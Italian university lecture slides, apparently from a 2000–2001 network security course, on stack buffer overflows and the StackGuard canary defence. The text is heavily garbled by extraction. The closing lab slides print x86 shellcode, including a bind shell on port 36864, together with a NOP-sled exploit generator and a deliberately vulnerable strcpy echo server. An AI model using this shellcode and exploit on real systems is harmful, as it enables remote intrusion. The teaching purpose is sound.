Introduzione Gestione del Buffer Cos`è uno Stack Cos`è uno Stack
Transcript
Introduzione Gestione del Buffer Cos`è uno Stack Cos`è uno Stack
Università di Salerno Facoltà di Scienze MM. FF. NN: Introduzione Sistemi di Elaborazione dell’Informazione: Sicurezza su Reti Anno Accademico 20002000-2001 Docente: Prof. Alfredo De Santis 9 I l Buffer Overflow è u n a d e lle form e p iù com u n i d i vu ln e ra b ilità d i siste m i. 9 D om in a l’a re a re la tiva a lla p e n e tra zion e in re ti re m ote . 9 StackGuard StackGuard - svilu p p a to n e i la b ora tori d e ll’U n ive rsità d e ll’O re gon . S i p re figge d i re n d e re im m u n e il siste m a d a qu e sto tip o d i a tta cco. a cura di Bartalotta Andrea Capone Angelo Capozza Michele Ferri Guglielmo Piccolo Sabatino 56/100083 56/100034 56/100113 56/00991 56/00983 2 Buffer Overflow Gestione del Buffer Cos’è uno Stack Buffer - b locco con tigu o d i m e m oria ch e con tie n e p iù ista n ze d e llo ste sso tip o d i d a to. • T ip o d i d a to a stra tto ch e god e d e lla p rop rie tà LIFO. LIFO Overflow - rie m p ire oltre il lim ite u n b u ffe r. • A p p a re com e u n b locco d i m e m oria con tigu o con te n e n te d e i d a ti. • O p e ra zion i p rin cip a li - push e pop. • Stack pointer ( S P ) - re gistro ch e p u n ta a lla cim a d e llo sta ck. Come è organizzata la memoria di un processo? • L a b a se è u n in d irizzo fisso. • fissa ta variabili statiche e dati ( in izia lizza ti e n on ) regione regione testo testo regione regione dati dati • a sola le ttu ra L in gu a ggi d i p rogra m m a zion e ⇒ costru tto d i procedura o funzione. • cod ice d e l p rogra m m a stack stack Implementata ad hoc con il supporto di uno stack. stack 3 4 Buffer Overflow Buffer Overflow Cos’è uno Stack ( 2 ) Un esempio: la regione dello Stack void function(int a, int b, int c){ S•main •main call im im chiaia ppiam ila ila instruction ch function(). ee ilil pprogra pointer pointer m cod ice sia Sucall uppppon on ch mmooaainstruction ch function(). rogra ImIm ll cod m aaice sia sta ssem to i function() function() to gen version era le le ee ddel aasta ssem to com com bblylypdpdila iila to con con uunnaagen version era el •• IP IP vien vienee ch chia iamm aato to indirizzo indirizzo di di gcc. segu entiti aazion zioni:i: segu gcc. gcc. en ritorno ritorno pushl $$33 pushl char buffer1[245]; char buffer2[512]; stack pointer ( S P ) } pushl $$22 pushl void main(){ stack frame instruction pointer ( I P ) pushl $$11 pushl function(1,2,3); call fu fu nnction ction call } local variable memoria alta memoria bassa frame pointer ( F P ) buffer2 buffer1 SFP RET a b c o base pointer ( B P ) . cima dello stack fondo dello stack SFP – saved frame pointer. È il ve cch io frame pointer sa lva to qu a n d o vien e a vvia ta la fu n zion e . RET – l’in d irizzo d i ritorn o. 5 Buffer Overflow 6 Buffer Overflow 1 Cos’è un attacco di Buffer Overflow Come attaccare con Buffer overflow FFFF L’attaccante fornisce fornisce una una stringa stringa di di grosse grosse L’attaccante dimensioni ad ad un un programma programma che che non non effettua effettua dimensioni controlli sulla sulla taglia taglia dei dei propri propri input. input. controlli La stringa stringa sovrascrive sovrascrive l’indirizzo l’indirizzo di di ritorno ritorno La inietta ilil codice. codice. ee inietta d e ve solo trova re codice vulnerabile a ll’in te rn o d i p rogra m m i re sid e n ti su l siste m a . Codice d’attacco Stringa cresce La funzione funzione ritorna ritorna “saltando” “saltando ” al al “saltando” La codice iniettato. iniettato. iniettato. codice Stack cresce Indirizzo di ritorno Codice vulnerabile qu a lsia si op e ra zion e e ffe ttu a ta su d i u n a rra y ch e n on e ffe ttu a con trolli su lla d im e n sion e . Variabili locali buffer E siston o cookcook-books d a cu i e stra rre il cod ice n e ce ssa rio. 0000 7 8 Buffer Overflow Buffer Overflow Buffer Overflow: un problema attuale Vulnerabilità ed attacchi • L o scop o è d i sovve rtire la fu n zion e d i u n programma privilegiato. privilegiato ¾ G ra n d e rison a n za n e l 1 9 8 8 d op o il Worm d i Internet ( Morris). Morris • P e r otte n e re qu e sto risu lta to l’a tta cca n te d e ve : ¾ N on c’è sta to n e ssu n se gn o d i m igliora m e n to, in qu a n to: FFFF 1. P re d isp orre il cod ice a d a tto, d a e se gu ire n e llo sp a zio d 'in d irizza m e n to d e l p rogra m m a . 2. P e rm e tte re a l p rogra m m a d i sa lta re a qu e l cod ice , con p a ra m e tri e sa tti, ca rica ti n e i re gistri e n e lla m em oria • ca u sa to d a fu n zion i “pericolose pericolose” d e l C p re se n ti n e lle lib re rie sta n d a rd ( strcpy() , strcat() , e tc). • solo programmazione accurata p u ò lim ita re qu e sta vu ln e ra b ilità . • n u ove patch in trod u con o n u ove vu ln e ra b ilità . Codice d’attacco Stringa cresce Stack frame Indirizzo di ritorno Stack cresce Variabili locali buffer • u n debugging a ccu ra to p otre b b e n on e lim in a re il p rob le m a . 0000 9 10 Buffer Overflow Buffer Overflow Come utilizzare codice d’attacco Modifica del flusso D u e m od i p e r re a lizza re u n buffer overflow: overflow Corrompere i puntatori ⇒ indirizzo di ritorno Iniettare il codice: Record d'Attivazione: • L 'a tta cca n te forn isce u n a strin ga in in p u t • C orrom p e re l'in d irizzo d i ritorn o n e l re cord d i a ttiva zion e • I l p rogra m m a lo ca rica in u n b u ffe r. • L ’a tta cca n te ca u sa il sa lto d e l p rogra m m a a l cod ice d 'a tta cco. • L 'a tta cca n te sta u sa n d o i b u ffe rs d e l p rogra m m a vittim a p e r m e m orizza rvi il cod ice d 'a tta cco. • stack smashing attack (a tta cco ch e fra ca ssa lo sta ck ). Puntatori a Funzione:. Il codice è già già lì: • P osson o e sse re a lloca ti ovu n qu e ( stack, stack heap, heap area dati) dati . • I l cod ice a d a tto è p re se n te n e llo sp a zio d i in d irizza m e n to. • L 'a tta cca n te h a b isogn o d i p a ra m e trizza re il cod ice . • L 'a tta cca n te n e ce ssita d i trova re u n b u ffe r a d ia ce n te a l p u n ta tore a fu n zion e . • L ’ a tta cca n te fa in m od o ch e il p rogra m m a sa lti a d e sso. sso • M a n d a qu e ste a re e in ove rflow p e r ca m b ia re il p u n ta tore. tore 11 Buffer Overflow 12 Buffer Overflow 2 Tecnica tipica d’attacco Difese da Buffer Overflow C om b in a zion e d i: Quattro approcci di base: tecnica d'iniezione. d'iniezione 9 Il metodo di forza bruta ovvero scrivere codice sicuro. sicuro. corruzione del record d'attivazione. d'attivazione 9 Rendere l'area di memoria, d estin a ta a con ten ere le va ria b ili, non eseguibile. Nota: • Iniezione e Corruzione n on a vve n gon o in u n 'u n ica a zion e . 9 Controllare la dimensione degli array a d ogn i a ccesso. ccesso. • L 'a tta cca n te p u ò in ie tta re il cod ice op p u re fa r tra b occa re u n b u ffe r d iffe re n te p e r corrompere il puntatore al codice. codice. 9 Verificare l'integrità l'integrità dei puntatori p rim a d i d ereferen zia rli. rli. • S e il cod ice è gi à re sid e n te ⇒ L ’ a tta cca n te h a b isogn o d i p a ra m e trizza rlo. rlo. 13 14 Buffer Overflow Buffer Overflow Scrivere codice sicuro Buffer non eseguibili • Irrimediabilmente costoso! costoso! Impedire all'attaccante di eseguire il codice inserito • utilizzare tools come grep. grep ⇒ Rendere il segmento dati dello spazio di indirizzamento non eseguibile. eseguibile • Programmazione sicura dovrebbe seguire le seguenti regole: Problemi • Principio del minor privilegio possibile. L in ea d i p rogetta zion e d ei sistem i su i vecch i com p u ter I p iù recen ti sistem i UNIX e MS Windows, dipendono d a lla p ossib ilità d i in serire cod ice d in a m ico n el segm en to d a ti d ei p rogra m m i, p er ottim izza re le p resta zion i. • Scrivere codice semplice. • Non fidarsi di nessuno. A lcu n i sistem i d evon o sa crifica re sosta n zia li com p a tib ilità d ei p rogra m m i già in u so. patch per Linux e Solaris implementano questo criterio. Vulnerabilità al buffer overflow possono essere non facilmente individuabili pochi problemi di compatibilità compatibilità: nessun programma "normale" ha del codice eseguibile nello stack. 15 16 Buffer Overflow Buffer Overflow Controllo della dimensione degli array Non basta inserire codice per realizzare un buffer overflow: Verifica dell’integrità dei puntatori Verifica: ¾ è necessario modificare il flusso del programma in esecuzione. ¾ un puntatore è stato sovrascritto prima di essere utilizzato? utilizzato? Non è possibile corrompere i dati adiacenti nello stack. Attacchi mirati alla modifica di componenti del programma, che non siano i puntatori, andranno comunque a segno. segno. Elimina completamente le possibilità possibilità di realizzare tali attacchi. L'approccio diretto è quello di testare tutti i riferimenti agli array. sviluppato in 3 modi distinti: Realizzazioni: ¾ Snarskii - versione personalizzata di libc per FreeBSD. FreeBSD. 9 Controllo sulla dimensione degli array: (Jones (Jones & Kelly). Kelly). ¾ Progetto StackGuard StackGuard.. 9 Controllo dell’ ’accesso in memoria. dell dell’accesso ¾ PointGuard - in fase di sviluppo. sviluppo. 9 Linguaggi Type-Safety. Type Safety. Type-Safety. 17 Buffer Overflow 18 Buffer Overflow 3 StackGuard StackGuard StackGuard StackGuard ( 2 ) Realizzato utilizzando una tecnica di compilazione che assicura l'integrità l'integrità dell'area di memoria contenente l'indirizzo di ritorno del record d'attivazione della funzione. Codice d’attacco 9 I l cod ice aggiuntivo p ia zza u n a canary word vicin o a ll'in d irizzo d i ritorn o n ello sta ck. Stack frame Indirizzo di ritorno FFFF a p p lica re a gcc . ¾ aggiunge del codice specifico. FFFF Codice d’attacco Stringa cresce 9 StackGuard StackGuard è u n a p iccola patch d a Stringa cresce 9 I l cod ice verifica ch e la canary word sia in ta tta . Stack cresce canarino Stack frame Indirizzo di ritorno variabili locali ¾ dopo salta all'indirizzo di ritorno! variabili locali Stack cresce canarino buffer 0000 buffer 0000 19 20 Buffer Overflow Buffer Overflow StackGuard StackGuard ( 3 ) Terminator Canary Problema: U n a tta cca n te le gge la canary word e la in ca p su la n e lla strin ga d i a tta cco. canary word costitu ita d a com u n i sim b oli d i te rm in a zion e u tilizza ti d a lle librerie standard d e l C: 0-N U LL p u ò sovra scrive re l'in d irizzo d i ritorn o se n za com p rom e tte re canary word . CR - C a rria ge R e tu rn LF - L in e F e e d Soluzione: -1 - E n d of F ile StackGuard StackGuard u tilizza tre m e tod i p e r p re ve n ire qu e sto a tta cco: Nota che: che: Terminator Canary U n m a lin te n zion a to n on p otre b b e u sa re le fu n zion i sta n d a rd p e r le gge re qu e sti sim b oli e d in ca p su la rli in u n a strin ga . Random Canary L e fu n zion i d i cop ia si fe rm e re b b e ro a lla p rim a occorre n za d i u n o d i qu e sti ca ra tte ri. Xor Random Canary 21 Buffer Overflow 22 Buffer Overflow Random Canary Xor Random Canary canary word di 32 bit scelto al runrun-time. time M e cca n ism o in trod otto d a lla ve rsion e 1.21 d i StackGuard StackGuard. S e gre to fa cile d a u sa re d ifficile d a in d ovin a re . ¾ canary word con siste d i u n vettore d i 1 2 8 b it ca su a li (quattro word scelte al run-time) N on è m a i rive la ta . ¾ XOR (4 word , retu rn a d d ress). C a m b ia a d ogn i ria vvio d e l p rogra m m a . canary word le ga ta a ll'in d irizzo d i ritorn o d e lla fu n zion e a ttiva . 23 Buffer Overflow 24 Buffer Overflow 4 Resistenza alle intrusioni Programma Vulnerabile Risultati sperimentali S p e rim e n ta lm e n te StackGuard StackGuard re a lizza protezione effettiva con tro a tta cch i d i stack smashing. smashing Risultato senza StackGuard Risultato con StackGuard D ip 3 . 3 . 7 n R oot sh ell P rogra m m a b locca to E lm 2 . 4 P L 2 5 R oot sh ell P rogra m m a b locca to P re se rva ca ra tte ristich e d i compatibilità compatibilità e utilizzo d e l siste m a p rote tto. P erl 5 . 003 R oot sh ell S am b a R oot sh ell P rogra m m a b locca to con u scita irregola re P rogra m m a b locca to P roge tto Immunix: Immunix com p ila zion e d i u n 'in te ra d istrib u zion e d i Linux (Red Hat 5.1) con StackGuard StackGuard. S u p er P rob e R oot sh ell u m ou n t 2 . 5k/lib c 5 . 3 . 1 2 R oot sh ell P rogra m m a b locca to con u scita irregola re P rogra m m a b locca to microbenchmark h a n n o e vid e n zia to sosta n zia le in cre m e n to n e l costo d i ogn i sin gola ch ia m a ta a fu n zion e . wwwcou n t v2 . 3 H ttp d sh ell P rogra m m a b locca to zgv 2 . 7 R oot sh ell P rogra m m a b locca to macrobenchmark tra scu ra b ile . h anno e vid e n zia to un overhead tota le 25 26 Buffer Overflow Buffer Overflow Risultati sperimentali (2) Considerazioni finali StackGuard StackGuard op e ra in m od o d e l tu tto tra sp a re n te a ll'u te n te . P e so d i StackGuard StackGuard su l we b se rve r Apache StackGuard # di client Connessioni (per secondo) Latenza media (in secondi) Throughput (in Mbit/sec) No 2 34.44 0.0578 5.63 No 16 43.53 0.3583 6.46 No 30 47.2 0.6030 6.46 Si 2 34.92 0.0570 5.53 Si 16 53.57 0.2949 6.44 Si 30 50.89 0.5612 6.48 S u l sito d i Immunix si fa rife rim e n to a d u n a ve rsion e 2.0 d i StackGuard StackGuard, tu tt’oggi risu lta irre p e rib ile . L e patch d isp on ib ili son o re la tive a ve rsion i ob sole te d e l com p ila tore gcc . L ’e n tu sia sm o in izia le n e i con fron ti d i qu e sto p roge tto è a n d a to sce m a n d o. 27 28 Buffer Overflow Buffer Overflow Laboratorio Exploit & Shellcode 9 L ’exploit exploit sfru tta u n a vu ln e ra b ilità p re se n te in u n siste m a . 9 I l n ostro e xp loit ge n e ra la strin ga ch e sovra scrive l'in d irizzo d i ritorn o e d e se gu e il cod ice d i a tta cco. 9 U n a shellcode è u n a rra y d i ca ra tte ri ch e con tie n e il cod ice e se gu ib ile d a in ie tta re . Esempio char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; 29 Buffer Overflow 30 Buffer Overflow 5 Realizzare un exploit Realizzare un exploit ( 2 ) La nostra shellcode: 9 L o sta ck in izia p e r ogn i p rogra m m a a llo ste sso in d irizzo. 9 S a p e n d o d ove in izia lo sta ck si p u ò p rova re a d indovinare d ove si trovi il b u ffe r. 9 P a ra m e tri d e l p rogra m m a : • d im e n sion e d i b u ffe r. • offse t d a llo sta ck p oin te r. 9I n se rire istru zion i NOP a u m e n ta n o la p rob a b ilità d i riu scita . memoria alta memoria bassa buffer SFP NNNNNNNSSSSSSSSSSS RET a b c 0xDE 0xDE 0xDE 0xDE 0xDE cima dello stack ch a r sh ellcod e[] = "\xeb \x7 2 " /* jmp callz */ /* socket() */ "\x5 e\x2 9 \xc0\x8 9 \x4 6 \x1 0\x4 0\x8 9 \xc3 \x8 9 \x4 6 \x0c\x4 0\x8 9 \x4 6 \x08 \x8 d \x4 e\x08 \xb 0\x6 6 \xcd \x 8 0" /* bind()*/ "\x4 3 \xc6 \x4 6 \x1 0\x1 0\x6 6 \x8 9 \x5 e\x1 4 \x8 8 \x4 6 \x08 \x2 9 \xc0\x8 9 \xc2 \x8 9 \x4 6 \x1 8 \xb 0\x9 0\x6 6 \x 8 9 \x4 6 \x1 6 \x8 d \x4 e\x1 4 \x8 9 \x4 e\x0c\x8 d \x4 e\x08 \xb 0\x6 6 \xcd \x8 0“ /* listen() */ "\x8 9 \x5 e\x0c\x4 3 \x4 3 \xb 0\x6 6 \xcd \x8 0“ /* accept() */ "\x8 9 \x5 6 \x0c\x8 9 \x5 6 \x1 0\xb 0\x6 6 \x4 3 \xcd \x8 0“ /* dup2(s, 0); dup2(s, 1); dup2(s, 2); */ "\x8 6 \xc3 \xb 0\x3 f\x2 9 \xc9 \xcd \x8 0\xb 0\x3 f\x4 1 \xcd \x8 0\xb 0\x3 f\x4 1 \xcd \x8 0“ /* execve() */ "\x8 8 \x5 6 \x07 \x8 9 \x7 6 \x0c\x8 7 \xf3 \x8 d \x4 b \x0c\xb 0\x0b \xcd \x8 0" /* callz: */ "\xe8 \x8 9 \xff\xff\xff/b in /sh "; fondo dello stack 31 Buffer Overflow 32 Buffer Overflow Il nostro exploit La nostra Demo #include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 char shellcode[] = ... if (!(buff =malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr =get_sp() - offset; ptr =buff; unsigned long get_sp(void) { addr_ptr =(long *) ptr; __asm__("movl %esp,%eax"); for (i =0; i < bsize; i+=4) } *(addr_ptr++) =addr; for (i =0; i < bsize/2; i++) void main(int argc, char *argv[]) { buff[i] =NOP; ptr =buff + ((bsize/2) char *buff, *ptr; long *addr_ptr, addr; (strlen(shellcode)/2)); int offset=DEFAULT_OFFSET, for(i =0; i < bsize=DEFAULT_BUFFER_SIZE; strlen(shellcode); i++) int i; *(ptr++) =shellcode[i]; if (argc > 1) buff[bsize - 1] ='\0'; bsize =atoi(argv[1]); memcpy(buff,"EGG=",4); if (argc > 2) putenv(buff); offset =atoi(argv[2]); system("/bin/bash"); } A p p lica zion e client/server ch e u tilizza i socket d i Berkley. U tilizzia m o u n a shellcode ch e cre a u n socket d i a scolto su lla p orta 3 6 8 6 4 e a vvia u n a sh e ll, re d ige n d o sta n d a rd input, output e d error su l socket ste sso. U tilizzia m o u n p rogra m m a ch e si con n e tte a l socket e ottie n e u n a shell remota su lla m a cch in a vittim a . O tten ia m o l’a ccesso a ll’h ost rem oto con i p erm essi ch e a ve va il server. server 33 Buffer Overflow 34 Buffer Overflow Il server Demo • I l se rve r risp on d e con u n echo d i ritorn o. • L a vu ln e ra b ilità d e l se rve r loca lizza ta n e lla fu n zion e leggi(): void leggi (char *buff,int connfd){ char vuln[512]; int n,len,offset=0,tot=0; while(n=read(connfd,&buff[tot],MAXLINE)>0){ tot+=n; } strcpy(vuln,buff); strcat(vuln,", hello!\n"); write(connfd, vuln, strlen(vuln)+1); } 35 Buffer Overflow 36 Buffer Overflow 6